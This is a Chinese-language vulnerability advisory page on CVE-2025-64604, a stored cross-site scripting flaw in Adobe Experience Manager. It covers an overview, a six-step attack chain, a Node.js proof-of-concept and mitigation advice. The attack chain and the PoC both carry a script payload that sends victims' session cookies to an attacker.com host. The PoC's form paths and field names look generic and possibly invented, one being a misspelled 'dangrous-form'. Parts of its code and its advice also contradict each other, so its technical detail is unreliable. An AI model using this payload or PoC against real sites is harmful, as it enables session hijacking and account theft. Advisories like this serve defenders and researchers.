IPBUF安全漏洞报告
English
CVE-2025-64604 CVSS 5.4 中危

CVE-2025-64604: Adobe Experience Manager存储型XSS漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-64604
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Adobe Experience Manager

相关标签

CVE-2025-64604存储型XSS跨站脚本攻击Adobe Experience ManagerAEM漏洞内容管理系统Web应用安全中危漏洞低权限攻击APSB25-115

漏洞概述

Adobe Experience Manager 6.5.23及更早版本存在一个存储型跨站脚本(XSS)漏洞。该漏洞允许低权限攻击者将恶意脚本注入到存在漏洞的表单字段中。当受害者浏览包含恶意脚本的页面时,攻击者注入的JavaScript代码会在受害者浏览器中执行,从而窃取会话cookie、劫持用户账户、进行钓鱼攻击或执行其他恶意操作。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问该页面的用户都会受到攻击影响。此漏洞的CVSS评分为5.4,属于中等严重程度,主要因为其需要用户交互和低权限即可实施攻击。

技术细节

该漏洞是典型的存储型XSS(Cross-Site Scripting)漏洞。攻击者利用Adobe Experience Manager的表单处理机制,在提交表单数据时未对用户输入进行充分的HTML转义或输入验证。恶意构造的JavaScript脚本被存储在服务器数据库中,当其他用户访问包含该数据的页面时,服务器将未经处理的脚本内容直接返回给客户端浏览器执行。攻击者通常通过以下步骤利用此漏洞:1) 使用低权限账户登录AEM系统;2) 在存在漏洞的表单字段中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>);3) 提交表单后,恶意脚本被保存到服务器;4) 当受害者访问该页面时,浏览器执行注入的恶意脚本。由于AEM是企业级CMS系统,广泛用于管理网站内容,因此此漏洞可能影响大量终端用户。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Adobe Experience Manager实例,并确定存在漏洞的表单字段。攻击者注册一个低权限用户账户或利用已有的低权限账户。
STEP 2
初始访问
攻击者使用低权限账户登录AEM系统,访问包含表单的页面。这些表单字段未对用户输入进行充分的输入验证和HTML转义。
STEP 3
恶意脚本注入
攻击者在表单字段中注入恶意JavaScript代码,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。该脚本被存储在服务器数据库中。
STEP 4
存储持久化
恶意脚本被永久保存在服务器端的表单数据中。由于是存储型XSS,恶意代码会在服务器上持久存在,直到被发现和清除。
STEP 5
触发攻击
当受害者(其他用户或管理员)访问包含恶意脚本的页面时,浏览器执行注入的JavaScript代码。攻击者可窃取受害者的会话cookie、劫持账户或执行其他恶意操作。
STEP 6
后渗透利用
攻击者利用窃取的凭证进一步提升权限、访问敏感数据或在系统中建立持久化存在。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64604 Stored XSS PoC for Adobe Experience Manager // Target: Adobe Experience Manager versions <= 6.5.23 // Author: Security Researcher const axios = require('axios'); const cheerio = require('cheerio'); class AEM_XSS_POC { constructor(baseUrl, username, password) { this.baseUrl = baseUrl; this.username = username; this.password = password; this.session = axios.create({ baseURL: baseUrl }); } async authenticate() { // Step 1: Authenticate with low-privilege account const loginData = { j_username: this.username, j_password: this.password, validate: 'true' }; const response = await this.session.post('/libs/granite/core/content/login.html/j_security_check', new URLSearchParams(loginData).toString(), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' }} ); if (response.headers['set-cookie']) { this.cookies = response.headers['set-cookie']; } return response.status === 200; } async injectXSS(payload) { // Step 2: Inject malicious script into vulnerable form field const xssPayload = `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`; const formData = { './jcr:content/par/form/hiddenField': xssPayload, './jcr:content/par/form/textField': payload, './jcr:content/par/form@Delete': '' }; const response = await this.session.post( '/content/forms/af/dangrous-form/jcr:content/data', new URLSearchParams(formData).toString(), { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': this.cookies } } ); return response.status === 200; } async verifyXSS() { // Step 3: Verify the XSS payload is stored and reflected const response = await this.session.get('/content/forms/af/dangrous-form.html'); const $ = cheerio.load(response.data); // Check if payload is present without sanitization const hasStoredXSS = $('input[value*="<script>"]').length > 0 || $('div').text().includes('<script>'); return hasStoredXSS; } } // Usage example (async () => { const poc = new AEM_XSS_POC( 'https://vulnerable-aem-instance.com', 'low-privilege-user', 'password123' ); console.log('[*] Starting CVE-2025-64604 PoC'); console.log('[*] Authenticating...'); if (await poc.authenticate()) { console.log('[+] Authentication successful'); console.log('[*] Injecting XSS payload...'); if (await poc.injectXSS('<img src=x onerror=alert(document.domain)>')) { console.log('[+] XSS payload injected successfully'); console.log('[*] Verifying stored XSS...'); if (await poc.verifyXSS()) { console.log('[!] VULNERABLE: Stored XSS confirmed'); } } } else { console.log('[-] Authentication failed'); } })();

影响范围

Adobe Experience Manager 6.5.23及更早版本
Adobe Experience Manager 6.5.x < 6.5.24

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制低权限用户对表单编辑功能的访问权限;2) 实施严格的输入验证机制,对所有表单提交数据进行HTML标签过滤;3) 配置Content Security Policy(CSP)响应头限制脚本执行;4) 部署WAF规则检测和阻止XSS攻击载荷;5) 监控AEM系统日志,及时发现异常表单提交行为;6) 对管理员和内容编辑人员进行安全意识培训,提醒不要点击可疑链接;7) 定期备份系统数据以便发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表